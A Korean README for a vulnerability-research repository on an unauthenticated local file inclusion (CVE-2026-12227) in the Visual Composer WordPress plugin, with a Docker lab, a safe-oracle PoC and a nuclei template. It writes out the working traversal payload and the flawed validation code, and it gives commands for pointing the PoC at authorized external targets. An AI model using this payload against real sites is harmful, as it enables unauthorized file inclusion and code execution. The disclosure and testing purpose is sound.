CVE-2026-12227에 대한 Docker 검증 랩 및 safe-oracle PoC로, vcv-template을 통한 Visual Composer의 인증되지 않은 LFI 취약점이며, nuclei 탐지 템플릿을 포함합니다.
CVE-2026-12227을 재현하고 검증하기 위한 보안 연구 자료: Visual Composer Website Builder의 페이지 템플릿 해석 과정에서 발생하는 비인증 로컬 파일 포함(LFI, CVSS 3.1 9.8), 그리고 검증된 벤더 수정 불일치(아래 참조).
locate_template() 내부의 코어
차단 게이트, CVE-2026-87902 수정에서 비롯됨) - 플러그인 코드 자체는
45.16.3 기준으로 패치된 적이 없음AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98본인이 소유하거나 명시적으로 테스트 권한을 받은 시스템에서만 사용하십시오. PoC는 무해한 오라클 포함(기본 제공
wp-links-opml.php/xmlrpc.php출력)을 실행합니다. 파일 배치, 쓰기, RCE 페이로드는 없습니다.
상태: 제공된 랩에서 입증됨.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
마커 수준 증명(uploads/에 심어둔 PHP 파일이 비인증 GET으로 포함·실행됨)은
랩 증거의 일부이며 취약한 변형에서 ./lab verify로 재현됩니다.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
는 template_include를 우선순위 11로 후킹하며 인증 검사가 없습니다:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file()는 리터럴 ..을 거부합니다. 하지만 값은 검사 이후에야
결합되므로, 각 순회를 theme: 경계로 쪼개면 검사를 통과합니다:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76)은 원시
$_POST/$_GET/$_REQUEST를 반환하므로 상위에서 정제되지도 않습니다.
locate_template()은 후보를 file_exists()로 해석하며, 이는
.. 세그먼트를 허용합니다.
WordPress 7.1.2(CVE-2026-87902 수정)는 locate_template() 내부에
_wp_is_template_path_allowed()를 추가했습니다
(wp-includes/template.php). 이 코어 게이트가 결합된 순회
후보를 거부하므로, WP 7.1.2+에서는 이 플러그인 체인이 코어에 의해
차단됩니다 - 플러그인은 패치된 적이 없습니다. 랩에서 검증된 귀속: 7.1.2에서는
싱크가 여전히 실행되지만 테마 디렉터리로 제한되며, 7.1.1에서는 탈출합니다.
실질적 결과: Visual Composer 45.16.3(현재 릴리스, 수정되었다고 광고됨)을 WordPress <= 7.1.1에서 실행하는 사이트는 오늘도 여전히 비인증 LFI에 취약합니다. 이를 무력화하는 것은 WordPress 코어 업데이트뿐입니다.
요구 사항: Docker(Compose v2 포함), 호스트에 Python 3.10+.
./lab verify
세 가지 대조군을 실행합니다: 취약(vulnerable, WP 7.1.1 + VC 45.16.1, 오라클이 발동해야 함), 패치(patched, WP 7.1.2 + VC 45.16.1, 오라클이 조용해야 함), 최신(latest, WP 7.1.1 + VC 45.16.3, 오라클이 발동해야 함 - 수정 불일치 시연).
취약 대조군:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
패치 대조군:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
PoC를 직접 실행(기본 루프백; 권한을 받은 외부 대상은 명시적 오버라이드 필요):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
nuclei 템플릿(nuclei/cve-2026-12227.yaml)은 동일한 오라클
페이로드를 홈페이지 + page_id 앵커에 걸쳐 깊이 3-6으로 발사하며
첫 일치 시 중단합니다.
| 조합 | 결과 |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= 45.16.0 코드) | LFI 재현됨 (오라클 + 심어둔 마커 실행) |
| WP 7.1.1 + VC 45.16.3 (현재 릴리스) | LFI 여전히 발동 |
| WP 7.1.2 + VC 45.16.1 | 조용함 (코어 게이트에 의해 차단) |
| VC 45.16.2 | 수정 diff 검토됨; 취약 경로 변경 없음 (별도 실행 안 함) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
커밋되지 않음: assets/ (플러그인 zip), .lab-state, __pycache__/.
| 주장 | 상태 |
|---|---|
| 테마 디렉터리 외부 PHP 실행으로 이어지는 비인증 LFI | 입증됨 (오라클 + 심어둔 마커) |
| 45.16.3까지 벤더 수정 부재 | 입증됨 (코드 diff + 45.16.3에서 실제 발동) |
| WP 7.1.2 코어 차단 | 입증됨 (동일 요청이 7.1.2에서는 조용, 7.1.1에서는 발동) |
| 깊이 의미론 | themes//에서 docroot까지 3단계 상향; 스윕은 3-6 커버 |
| 실제 대상에서 pearcmd/write 체인을 통한 RCE | 실행 안 함 (안전 오라클 전용 PoC) |
| 45.16.0 (원래 영향 릴리스) | 45.16.1과 코드 동일; wp.org zip에 vendor/가 없어 설치 불가 |
권고문은 수정이 45.16.1에 반영되었다고 명시하지만, 취약한 코드
경로는 45.16.3까지 모든 릴리스에서 변경되지 않았습니다(트리 diff
및 실제 발동으로 검증됨). Visual Composer를 유지 관리한다면: viewPageTemplate()은
theme: 제거 이후에 값을 재검증(또는 거부)해야 하며, 그 이전이 아닙니다.
사이트는 이 문제에 대해 플러그인 업데이트에 의존해서는 안 됩니다 - 실제로
이를 차단하는 것은 WordPress 7.1.2 코어 업데이트입니다.
본 저장소는 본인이 소유하거나 명시적으로 테스트 권한을 받은 시스템에서만
실행하십시오. 랩 드라이버는 알 수 없는 변형을 거부하고, PoC는
--allow-authorized-non-loopback이 제공되지 않는 한 비루프백
대상을 거부하며, Compose 포트는 127.0.0.1에 바인딩됩니다.
공개 처리에 대해서는 SECURITY.md를 참조하십시오. 본 저장소는 프로덕션 대상, 고객 데이터, 액세스 토큰, 실제 시스템의 증거를 포함하지 않습니다.
MIT - LICENSE 참조.